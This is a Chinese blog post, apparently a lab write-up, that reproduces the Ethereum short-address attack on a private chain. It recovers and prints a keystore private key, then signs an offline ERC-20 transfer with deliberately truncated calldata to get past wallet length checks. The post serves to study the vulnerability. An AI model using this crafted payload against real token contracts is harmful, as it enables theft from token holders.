工作中需要复现短地址攻击和thedao重入攻击,重入攻击可以直接通过eth.sendTransaction和remix来发送交易,但是短地址攻击由于钱包和remix这些都对input做了长度检测,无法通过这些方式来复现,只能通过发离线签名交易来实现。

1.环境依赖:nodejs , keythereum , ethereumjs-common , ethereumjs-tx 。

npm install keythereum

npm install ethereumjs-common

npm insall ethereumjs-tx

2.进入Node控制台,获取相应账户私钥。

获得需要发送交易账户的私钥

var keyth=require('keythereum');

//这里的privateChain1是我的私链路径

var keyobj=keyth.importFromFile('0x53698724b12fa829619e0742933a886a415a7c61','/home/ch/gopath/src/github.com/ethereum/go-ethereum/build/bin/privateChain1');

var pkey=keyth.recover("1",keyobj)

console.log(pkey.toString('hex'))

Screenshot from 2020-01-03 17-11-19.png

3.签名交易,进入Node,这里注意nonce问题,需要Nonce是实际可执行的nonce,Nonce不对会发送交易失败,关于如何获取input data百度比较多就不详述了。

const privateKey = Buffer.from(

'975776452a74921c0fb79fb2febc340a7de9a665f04fe6d2adaaca33d838fdf0',

'hex',

)

const Common=require('ethereumjs-common').default

const customCommon = Common.forCustomChain(

'mainnet',

{

name: 'my-network',

networkId: 5,

chainId: 5,

},

'petersburg',

)

const txParams={

nonce:'0x3b',

gasPrice:'0x05',

gasLimit:'0x4ffff',

from: '0x53698724b12fa829619e0742933a886a415a7c61',

to:'0x16fe2bf1d3b1ccdbafe5233f281940ccab5448ba',

value:'0x00',

data:'0xa9059cbb000000000000000000000000b7990a950b1d0280107485651e7dd130a460365000000000000000000000000000000000000000000000000000000000000001',

chainId:'5'

}

const EthereumTx = require('ethereumjs-tx').Transaction

const tx = new EthereumTx(txParams, {common:customCommon})

tx.sign(privateKey)

const serializedTx = tx.serialize()

console.log('0x'+serializedTx.toString('hex'))

Screenshot from 2020-01-03 17-43-36.png

4.遇到的坑,百度出来的步骤是有问题的或者过时了,当时是参考的这篇文章,https://www.freebuf.com/articles/blockchain-articles/199903.html

,在控制台通过eth.sendRawTransaction发送签名好的交易,我遇到了这个错误 ** sendRawTransaction invalid sender **

微信图片_20191226195227.png

这个文章少了一个步骤。出现这个问题的最根本原因是没有设置chainId和networkId,这两个数值需要保证跟你的私链一致,还有Networkid不等于chainId,具体看你配置。百度这个问题根本找不到,通过谷歌Github上很多都说是chainId的问题,其实也包括Networkid,都需要保证一致,如果不设置的话默认是签名到公网交易,到私链上会报上面这个错误。通过参考 https://github.com/ethereumjs/ethereumjs-tx ,官方的定制方法,需要引入ethereumjs-common包来进行配置。按照上面的步骤来就可以成功.

以太坊PHP离线交易签名生成,以太坊web3.sendRawTransaction离线签名交易相关推荐

  1. 北京大学肖臻老师《区块链技术与应用》公开课笔记:以太坊原理(一):以太坊概述、账户、状态树、交易树和收据树

    1.ETH-以太坊概述 比特币和以太坊是两种最主要的加密货币,比特币被称为区块链1.0,以太坊被称为区块链2.0 以太坊在系统设计上针对比特币运行过程中出现的问题进行了改进,比如: 出块时间,比特币的 ...

  2. 以太坊原理分析(一)以太坊工作(交易)原理

    简介 不管你们知不知道以太坊(Ethereum blockchain)是什么,但是你们大概都听说过以太坊.最近在新闻里出现过很多次,包括一些专业杂志的封面,但是如果你们对以太坊到底是什么没有一个基本的 ...

  3. 以太坊教程:入门学习开发以太坊dapp

    一.区块链 1. 分布式去中心化 比特币设计的初衷就是要避免依赖中心化的机构,没有发行机构,也不可能操纵发行数量.既然没有中心化的信用机构,在电子货币运行的过程中,也势必需要一种机制来认可运行在区块链 ...

  4. 以太坊智能合约开发-《精通以太坊智能合约开发》学习总结实践

    文章目录 一.初探以太访智能合约 1. remix小demo 2. 写智能合约用的编程语言 二.以太坊核心概念 1. 交易/事务( Transaction ) 2. 区块 3. 共识协议:工作量证明( ...

  5. 张家口以太坊智能合约开发实战pdf_以太坊的再次腾飞,你看得懂么?

    最近以太坊涨势明显,主要原因来源于一个平台对他的推广.那么,我们就来了解一下,这个平台是怎么回事儿.对以太坊的生态,会有什么样的帮助. ------------------------ FORSAGE ...

  6. 以太坊代币事件监控_以太坊程序员的常见误解

    最近,我偶然读到了一篇题为<程序员关于时区的误解>的文章,让我爆笑不已.这篇文章让我想到了程序员在其它方面的误解,如人名和时间,于是我开始寻找有没有关于以太坊的.奈何寻觅无果,我只得尽自己 ...

  7. 以太坊开发攻略五:以太坊的编程接口web3.js API的使用上:转账

    以太坊开发攻略一:准备篇上:各种相关工具安装和环境配置 以太坊开发攻略二:准备篇下:以太坊的编译.安装 以太坊开发攻略三:以太坊私有链的搭建(基于ethash共识挖矿) 以太坊开发攻略四:以太坊私有链 ...

  8. 以太坊同步节点_如何同步以太坊节点而不会犯我的错误

    以太坊同步节点 by Zack 由Zack 如何同步以太坊节点而不会犯我的错误 (How to sync an Ethereum node without making the mistakes I ...

  9. java和以太坊交互_java类库web3j开发以太坊智能合约快速入门

    web3j简介 web3j是一个轻量级.高度模块化.响应式.类型安全的Java和Android类库提供丰富API,用于处理以太坊智能合约及与以太坊网络上的客户端(节点)进行集成. 可以通过它进行以太坊 ...

最新文章

  1. 小鹏,该兑现PPT了
  2. Head First JSP---随笔九(Web应用安全)
  3. Boost:fork守护程序的测试程序
  4. currentdate mysql_Mysql】Mysql中CURRENT_TIMESTAMP,CURRENT_DATE,CURRENT_TIME,now(),sysdate()各项值的区别...
  5. .net 数据存储 mysql_asp.net实现存储和读取数据库图片
  6. 淘宝海报字体素材模板,让你的海报字体活起来!
  7. 车仪表台上的装饰_给车“纹身”贴这些的注意,有人挨罚啦!扣不扣分?!看这里...
  8. C语言之extern关键字探究
  9. 一起谈.NET技术,Silverlight动态加载DLL
  10. Eclipse启动莫名报错处理
  11. Mac的反编译工具一:otool (objdump工具的OSX对应工具)。
  12. Java 基础入门训练
  13. 【luogu P3802】小魔女帕琪(概率期望)
  14. 汇编语言期末复习总结
  15. WTL 自绘控件库 (CQsRadioBox)
  16. /专访/对话堵俊平:最好的开源生态模型,是亚马逊的原始森林
  17. 删掉nd array数组中的所有零元素
  18. 【数据结构】二叉树的节点总个数、叶子节点个数、第K层节点个数、二叉树的深度
  19. 按Enter键起到Tab键的效果
  20. LibreOJ10082. 「一本通 3.3 例 1」Word Rings【二分+SPFA】

热门文章

  1. 干货:虚拟机兼容性和文件格式详解
  2. iOS之路10-给xib设置约束注意
  3. lxml处理xml时的字符编码问题
  4. 大同语网站页面资料汇总编书(PDF)
  5. 思科Catalyst1900交换机上速配VLAN
  6. 使用httpclient发送get请求
  7. Pyhton入门 笔记 第三天 正则表达式与JSON
  8. iOS-实现验证码倒计时功能(1)
  9. 高校网络中心主任挨骂冤不冤?
  10. SQL Server 2005 安装后,没有Management Studio管理工具的解决办法